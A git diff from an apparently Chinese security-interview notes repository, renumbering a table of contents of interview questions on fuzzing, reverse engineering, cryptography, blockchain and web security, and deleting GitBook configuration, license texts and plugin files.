- [26.1 工控场景的入侵检测与普通场景入侵检测的区别](Chapter26/26-1.md)
|
- [24.17 怎么选择 fuzz 测试点](Chapter26/26-17.md)
|
||||||
- [26.2 讲讲 Linux 平台的漏洞缓解机制](Chapter26/26-2.md)
|
- [24.18 哪些漏洞可以用 fuzz 检测到](Chapter26/26-18.md)
|
||||||
- [26.3 NX 是怎么绕过的](Chapter26/26-3.md)
|
- [24.19 符号执行是如何做约束求解的](Chapter26/26-19.md)
|
||||||
- [26.4 讲讲 Linux 平台的 ELF 文件结构](Chapter26/26-4.md)
|
- [25. 逆向破解](Chapter23/README.md)
|
||||||
- [26.5 讲讲 Windows 平台的 PE 文件结构](Chapter26/26-5.md)
|
- [25.1 恶意样本给出函数家族的 md5,如何进行分类](Chapter23/23-1.md)
|
||||||
- [26.6 讲讲 ASLR 怎么绕过](Chapter26/26-6.md)
|
- [25.2 Linux 程序分为哪几个段](Chapter23/23-2.md)
|
||||||
- [26.7 函数的调用约定有哪些,区别是什么](Chapter26/26-7.md)
|
- [25.3 .data 段存放哪些数据](Chapter23/23-3.md)
|
||||||
- [26.8 fuzzing 主要是用来干嘛](Chapter26/26-8.md)
|
- [25.4 .bss 段存放哪些数据](Chapter23/23-4.md)
|
||||||
- [26.9 对 Windows 平台的漏洞和保护机制了解多少](Chapter26/26-9.md)
|
- [25.5 函数调用时的流程,参数如何传入以及寄存器、栈的变化](Chapter23/23-5.md)
|
||||||
- [26.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing](Chapter26/26-10.md)
|
- [25.6 解释程序的编译和链接,编译的过程中会有哪些操作](Chapter23/23-6.md)
|
||||||
- [26.11 说说 QEMU 模式的动态插桩怎么实现的,有什么优缺点](Chapter26/26-11.md)
|
- [25.7 说说 If/Else 语法树](Chapter23/23-7.md)
|
||||||
- [26.12 fuzz 普通程序和数据库有哪些不同点](Chapter26/26-12.md)
|
- [25.8 如何比较两个 C 函数的相似度](Chapter23/23-8.md)
|
||||||
- [26.13 说说 AFL++ 和 AFL 有哪些不同](Chapter26/26-13.md)
|
- [25.9 什么情况下源代码与 IDA 反编译程序的代码差别很大](Chapter23/23-9.md)
|
||||||
- [26.14 怎么给 AFL 做适配去 fuzz 数据库](Chapter26/26-14.md)
|
- [25.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑](Chapter23/23-10.md)
|
||||||
- [26.15 介绍一下 fuzz 的流程,从选取目标开始](Chapter26/26-15.md)
|
- [25.11 如何动态地去找导入表](Chapter23/23-11.md)
|
||||||
- [26.16 讲一下 AFL 的插桩原理](Chapter26/26-16.md)
|
- [25.12 如何不在编码时直接导入相关 API 的前提下进行攻击](Chapter23/23-12.md)
|
||||||
- [26.17 怎么选择 fuzz 测试点](Chapter26/26-17.md)
|
- [25.13 Windows 下有哪些常用的反调试技术](Chapter23/23-13.md)
|
||||||
- [26.18 哪些漏洞可以用 fuzz 检测到](Chapter26/26-18.md)
|
- [25.14 单步执行的原理是什么](Chapter23/23-14.md)
|
||||||
- [26.19 符号执行是如何做约束求解的](Chapter26/26-19.md)
|
- [25.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段](Chapter23/23-15.md)
|
||||||
- [27. AI 安全](Chapter27/README.md)
|
- [25.16 恶意软件有哪些方案检测自己处于沙箱中](Chapter23/23-16.md)
|
||||||
- [27.1 介绍下 SVM](Chapter27/27-1.md)
|
- [25.17 做一个反汇编器,指令集 opcode 的意义去哪查](Chapter23/23-17.md)
|
||||||
- [27.2 介绍下 KNN](Chapter27/27-2.md)
|
- [25.18 怎么识别指令跳转条件和内存访问](Chapter23/23-18.md)
|
||||||
- [27.3 卷积神经网络介绍](Chapter27/27-3.md)
|
- [25.19 做一个沙箱,有什么需要重定向的](Chapter23/23-19.md)
|
||||||
- [27.4 莱文斯坦距离](Chapter27/27-4.md)
|
- [25.20 ESP 定律原理知道吗](Chapter23/23-20.md)
|
||||||
- [27.5 倒排索引](Chapter27/27-5.md)
|
- [25.21 C++ 程序怎么去逆向找虚表](Chapter23/23-21.md)
|
||||||
- [27.6 搜索引擎的算法有哪些](Chapter27/27-6.md)
|
- [25.22 进程隐藏技术是什么,如何检测](Chapter23/23-22.md)
|
||||||
- [27.7 了解 TF-IDF 文档匹配算法吗](Chapter27/27-7.md)
|
- [25.23 如果多进程下,A 进程的 Source 触发到了 B 进程的 sink 点,如何溯源](Chapter23/23-23.md)
|
||||||
- [27.8 SGD 和 Adam 的区别](Chapter27/27-8.md)
|
- [25.24 JNDI 如何做 Hook](Chapter23/23-24.md)
|
||||||
- [27.9 如何缩减模型的检测时延](Chapter27/27-9.md)
|
- [26. AI 安全](Chapter27/README.md)
|
||||||
- [27.10 如何降低模型的误报率](Chapter27/27-10.md)
|
- [26.1 介绍下 SVM](Chapter27/27-1.md)
|
||||||
- [27.11 如何找攻击样本](Chapter27/27-11.md)
|
- [26.2 介绍下 KNN](Chapter27/27-2.md)
|
||||||
- [28. 密码学安全](Chapter28/README.md)
|
- [26.3 卷积神经网络介绍](Chapter27/27-3.md)
|
||||||
- [28.1 RSA 算法原理](Chapter28/28-1.md)
|
- [26.4 莱文斯坦距离](Chapter27/27-4.md)
|
||||||
- [28.2 AES 算法原理](Chapter28/28-2.md)
|
- [26.5 倒排索引](Chapter27/27-5.md)
|
||||||
- [28.3 说一下非对称加密算法的加密过程](Chapter28/28-3.md)
|
- [26.6 搜索引擎的算法有哪些](Chapter27/27-6.md)
|
||||||
- [28.4 有哪些了解过的非对称加密算法](Chapter28/28-4.md)
|
- [26.7 了解 TF-IDF 文档匹配算法吗](Chapter27/27-7.md)
|
||||||
- [28.5 栅栏密码的原理是什么](Chapter28/28-5.md)
|
- [26.8 SGD 和 Adam 的区别](Chapter27/27-8.md)
|
||||||
- [28.6 Padding Oracle Attack 讲讲](Chapter28/28-6.md)
|
- [26.9 如何缩减模型的检测时延](Chapter27/27-9.md)
|
||||||
- [29. 区块链安全](Chapter29/README.md)
|
- [26.10 如何降低模型的误报率](Chapter27/27-10.md)
|
||||||
- [29.1 说说交易所](Chapter29/29-1.md)
|
- [26.11 如何找攻击样本](Chapter27/27-11.md)
|
||||||
- [29.2 讲一讲区块链逆向函数涉及到的接收参数的指令集](Chapter29/29-2.md)
|
- [27. 密码学安全](Chapter28/README.md)
|
||||||
- [29.3 说说重入漏洞](Chapter29/29-3.md)
|
- [27.1 RSA 算法原理](Chapter28/28-1.md)
|
||||||
- [29.4 在 DeFi 项目中建立了各种各样的经济模型,怎样才能找出可能存在的漏洞](Chapter29/29-4.md)
|
- [27.2 AES 算法原理](Chapter28/28-2.md)
|
||||||
- [29.5 libsnark 核心是什么](Chapter29/29-5.md)
|
- [27.3 说一下非对称加密算法的加密过程](Chapter28/28-3.md)
|
||||||
- [29.6 truffle、solidity 了解吗](Chapter29/29-6.md)
|
- [27.4 有哪些了解过的非对称加密算法](Chapter28/28-4.md)
|
||||||
- [29.7 智能合约的鉴权、公私密钥](Chapter29/29-7.md)
|
- [27.5 栅栏密码的原理是什么](Chapter28/28-5.md)
|
||||||
- [29.8 数字钱包的身份认证](Chapter29/29-8.md)
|
- [27.6 Padding Oracle Attack 讲讲](Chapter28/28-6.md)
|
||||||
- [30. 云安全](Chapter30/README.md)
|
- [27.7 Web 测试越权漏洞发现敏感参数都经过了带有 HMAC 验证,在无法暴力破解 Key 的情况下怎么绕过](Chapter28/28-7.md)
|
||||||
- [30.1 控制了一台云主机但没有连接内网也没有云内网,该如何利用](Chapter30/30-1.md)
|
- [27.8 JWT 有哪些漏洞](Chapter28/28-8.md)
|
||||||
- [31. APP 安全](Chapter31/README.md)
|
- [28. 区块链安全](Chapter29/README.md)
|
||||||
- [31.1 安卓系统如何进行 RCE,有什么思路](Chapter31/31-1.md)
|
- [28.1 说说交易所](Chapter29/29-1.md)
|
||||||
- [31.2 给一个移动端的 APP,已知服务端是 cloud 环境有什么思路利用](Chapter31/31-2.md)
|
- [28.2 讲一讲区块链逆向函数涉及到的接收参数的指令集](Chapter29/29-2.md)
|
||||||
-
|
- [28.3 说说重入漏洞](Chapter29/29-3.md)
|
||||||
|
- [28.4 在 DeFi 项目中建立了各种各样的经济模型,怎样才能找出可能存在的漏洞](Chapter29/29-4.md)
|
||||||
|
- [28.5 libsnark 核心是什么](Chapter29/29-5.md)
|
||||||
|
- [28.6 truffle、solidity 了解吗](Chapter29/29-6.md)
|
||||||
|
- [28.7 智能合约的鉴权、公私密钥](Chapter29/29-7.md)
|
||||||
|
- [28.8 数字钱包的身份认证](Chapter29/29-8.md)
|
||||||
|
- [29. 云安全](Chapter30/README.md)
|
||||||
|
- [29.1 控制了一台云主机但没有连接内网也没有云内网,该如何利用](Chapter30/30-1.md)
|
||||||
|
- [30. APP 安全](Chapter31/README.md)
|
||||||
|
- [30.1 安卓系统如何进行 RCE,有什么思路](Chapter31/31-1.md)
|
||||||
|
- [30.2 给一个移动端的 APP,已知服务端是 cloud 环境有什么思路利用](Chapter31/31-2.md)
|
||||||
|
- [31. CORS](Chapter18/README.md)
|
||||||
|
- [31.1 CORS 利用方式](Chapter18/18-1.md)
|
||||||
|
- [32. MongoDB 注入](Chapter17/README.md)
|
||||||
|
- [32.1 MongoDB 注入方式](Chapter17/17-1.md)
|
||||||
|
|||||||
@@ -1,15 +0,0 @@
|
|||||||
{
|
|
||||||
"plugins": [
|
|
||||||
"-lunr", "-search", "expandable-chapters-small", "splitter", "back-to-top-button", "tbfed-pagefooter", "-highlight"
|
|
||||||
],
|
|
||||||
"pluginsConfig": {
|
|
||||||
"hide-element": {
|
|
||||||
"elements": [".gitbook-link"]
|
|
||||||
},
|
|
||||||
"tbfed-pagefooter": {
|
|
||||||
"copyright":"Copyright © 版权信息",
|
|
||||||
"modify_label": "该文件修订时间:",
|
|
||||||
"modify_format": "YYYY-MM-DD HH:mm:ss"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
import { defineConfig } from 'vitepress'
|
|
||||||
import sidebar from './sidebar.mjs'
|
|
||||||
|
|
||||||
export default defineConfig({
|
|
||||||
title: 'Sec-Interview',
|
|
||||||
description: '安全面试笔记',
|
|
||||||
base: '/Sec-Interview/',
|
|
||||||
themeConfig: { sidebar }
|
|
||||||
})
|
|
||||||
-201
@@ -1,201 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright {yyyy} {name of copyright owner}
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
# Gitbook Back to Top Button Plugin [](https://badge.fury.io/js/gitbook-plugin-back-to-top-button)
|
|
||||||
|
|
||||||
This plugin adds a back to top button to your GitBook. All three GitBook themes (White, Sepia, Night) are supported.
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
Add the plugin to your `book.json`:
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
"plugins" : [ "back-to-top-button" ]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Screenshots
|
|
||||||
|
|
||||||
The back to top button in action:
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## Changelog
|
|
||||||
|
|
||||||
* 0.1.0 Releases:
|
|
||||||
* 0.1.0 First working release
|
|
||||||
* 0.1.1 Minimal Gitbook version changed to 3.1.1
|
|
||||||
* 0.1.2 Added link to GitHub repository
|
|
||||||
* 0.1.3 Added support for GitBook themes (White, Sepia, Night)
|
|
||||||
-55
@@ -1,55 +0,0 @@
|
|||||||
.back-to-top {
|
|
||||||
position: fixed;
|
|
||||||
bottom: 25px;
|
|
||||||
right: 25px;
|
|
||||||
background: rgba(0, 0, 0, 0.5);
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
display: block;
|
|
||||||
text-decoration: none;
|
|
||||||
-webkit-border-radius: 35px;
|
|
||||||
-moz-border-radius: 35px;
|
|
||||||
border-radius: 35px;
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
.back-to-top i {
|
|
||||||
color: #fff;
|
|
||||||
margin: 0;
|
|
||||||
position: relative;
|
|
||||||
left: 15px;
|
|
||||||
top: 14px;
|
|
||||||
font-size: 22px;
|
|
||||||
}
|
|
||||||
.back-to-top:hover {
|
|
||||||
background: rgba(0, 0, 0, 0.9);
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .back-to-top {
|
|
||||||
background: rgba(112, 66, 20, 0.5);
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .back-to-top i {
|
|
||||||
color: #f3eacb;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .back-to-top:hover {
|
|
||||||
background: rgba(112, 66, 20, 0.9);
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .back-to-top {
|
|
||||||
background: rgba(189, 202, 219, 0.5);
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .back-to-top i {
|
|
||||||
color: #1C1F2B;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .back-to-top:hover {
|
|
||||||
background: rgba(189, 202, 219, 0.9);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media only screen
|
|
||||||
and (min-device-width: 320px)
|
|
||||||
and (max-device-width: 480px)
|
|
||||||
and (-webkit-min-device-pixel-ratio: 2)
|
|
||||||
and (orientation: portrait) {
|
|
||||||
.back-to-top {
|
|
||||||
bottom: 10px;
|
|
||||||
right: 10px;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
var gitbook = window.gitbook;
|
|
||||||
|
|
||||||
gitbook.events.on('page.change', function() {
|
|
||||||
|
|
||||||
var back_to_top_button = ['<div class="back-to-top"><i class="fa fa-arrow-up"></i></div>'].join("");
|
|
||||||
$(".book").append(back_to_top_button)
|
|
||||||
|
|
||||||
$(".back-to-top").hide();
|
|
||||||
|
|
||||||
$('.book-body,.body-inner').on('scroll', function () {
|
|
||||||
if ($(this).scrollTop() > 100) {
|
|
||||||
$('.back-to-top').fadeIn();
|
|
||||||
} else {
|
|
||||||
$('.back-to-top').fadeOut();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
$('.back-to-top').click(function () {
|
|
||||||
$('.book-body,.body-inner').animate({
|
|
||||||
scrollTop: 0
|
|
||||||
}, 800);
|
|
||||||
return false;
|
|
||||||
});
|
|
||||||
|
|
||||||
});
|
|
||||||
-11
@@ -1,11 +0,0 @@
|
|||||||
module.exports = {
|
|
||||||
website: {
|
|
||||||
assets: './assets',
|
|
||||||
js: [
|
|
||||||
'plugin.js'
|
|
||||||
],
|
|
||||||
css: [
|
|
||||||
'plugin.css'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
};
|
|
||||||
-48
@@ -1,48 +0,0 @@
|
|||||||
{
|
|
||||||
"_from": "gitbook-plugin-back-to-top-button",
|
|
||||||
"_id": "gitbook-plugin-back-to-top-button@0.1.4",
|
|
||||||
"_inBundle": false,
|
|
||||||
"_integrity": "sha512-B97MdUp4YhNkSmEc1v+5E21nRaI+ppNKjz2oZelZ8DTuumOMe/e0QizXC2ymxO8iYPkWuaqzaeGedHpxRq/Yhw==",
|
|
||||||
"_location": "/gitbook-plugin-back-to-top-button",
|
|
||||||
"_phantomChildren": {},
|
|
||||||
"_requested": {
|
|
||||||
"type": "tag",
|
|
||||||
"registry": true,
|
|
||||||
"raw": "gitbook-plugin-back-to-top-button",
|
|
||||||
"name": "gitbook-plugin-back-to-top-button",
|
|
||||||
"escapedName": "gitbook-plugin-back-to-top-button",
|
|
||||||
"rawSpec": "",
|
|
||||||
"saveSpec": null,
|
|
||||||
"fetchSpec": "latest"
|
|
||||||
},
|
|
||||||
"_requiredBy": [
|
|
||||||
"#USER",
|
|
||||||
"/"
|
|
||||||
],
|
|
||||||
"_resolved": "https://registry.npmmirror.com/gitbook-plugin-back-to-top-button/-/gitbook-plugin-back-to-top-button-0.1.4.tgz",
|
|
||||||
"_shasum": "e6218338b0ef19d58e6f6600994350b76e8035df",
|
|
||||||
"_spec": "gitbook-plugin-back-to-top-button",
|
|
||||||
"_where": "D:\\Book",
|
|
||||||
"author": {
|
|
||||||
"name": "STÜBER SYSTEMS",
|
|
||||||
"email": "gitbook@stueber.de"
|
|
||||||
},
|
|
||||||
"bugs": {
|
|
||||||
"url": "https://github.com/stuebersystems/gitbook-plugin-back-to-top-button/issues"
|
|
||||||
},
|
|
||||||
"bundleDependencies": false,
|
|
||||||
"deprecated": false,
|
|
||||||
"description": "Adds a back to top button to your Gitbook",
|
|
||||||
"engines": {
|
|
||||||
"gitbook": ">=3.1.1"
|
|
||||||
},
|
|
||||||
"homepage": "https://github.com/stuebersystems/gitbook-plugin-back-to-top-button",
|
|
||||||
"license": "Apache-2.0",
|
|
||||||
"main": "index.js",
|
|
||||||
"name": "gitbook-plugin-back-to-top-button",
|
|
||||||
"repository": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "git+https://github.com/stuebersystems/gitbook-plugin-back-to-top-button.git"
|
|
||||||
},
|
|
||||||
"version": "0.1.4"
|
|
||||||
}
|
|
||||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 24 KiB |
-21
@@ -1,21 +0,0 @@
|
|||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2017 David Moreno García
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
-31
@@ -1,31 +0,0 @@
|
|||||||
# Code plugin for GitBook
|
|
||||||
|
|
||||||
Code blocks are cool but can be cooler. This plugin adds lines numbers for multi-line blocks and a copy button to easily copy the content of your block.
|
|
||||||
|
|
||||||
## Cool, can I see it working?
|
|
||||||
|
|
||||||
The next image shows a single line code block:
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
When displaying code with multiple lines, line numbers will be added:
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## How can I use this plugin?
|
|
||||||
|
|
||||||
You only have to edit your book.json and modify it adding something like this:
|
|
||||||
|
|
||||||
```json
|
|
||||||
"plugins" : [ "code" ],
|
|
||||||
```
|
|
||||||
|
|
||||||
This will set up everything for you. If you want to get rid of the copy buttons use add this section too:
|
|
||||||
|
|
||||||
```json
|
|
||||||
"pluginsConfig": {
|
|
||||||
"code": {
|
|
||||||
"copyButtons": false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
-37
@@ -1,37 +0,0 @@
|
|||||||
#code-textarea {
|
|
||||||
height: 0;
|
|
||||||
position: fixed;
|
|
||||||
top: -1000px;
|
|
||||||
width: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.code-wrapper {
|
|
||||||
position: relative;
|
|
||||||
}
|
|
||||||
|
|
||||||
.code-wrapper i {
|
|
||||||
color: #c1c7cd;
|
|
||||||
cursor: pointer;
|
|
||||||
font-size: 12px;
|
|
||||||
font-weight: bold;
|
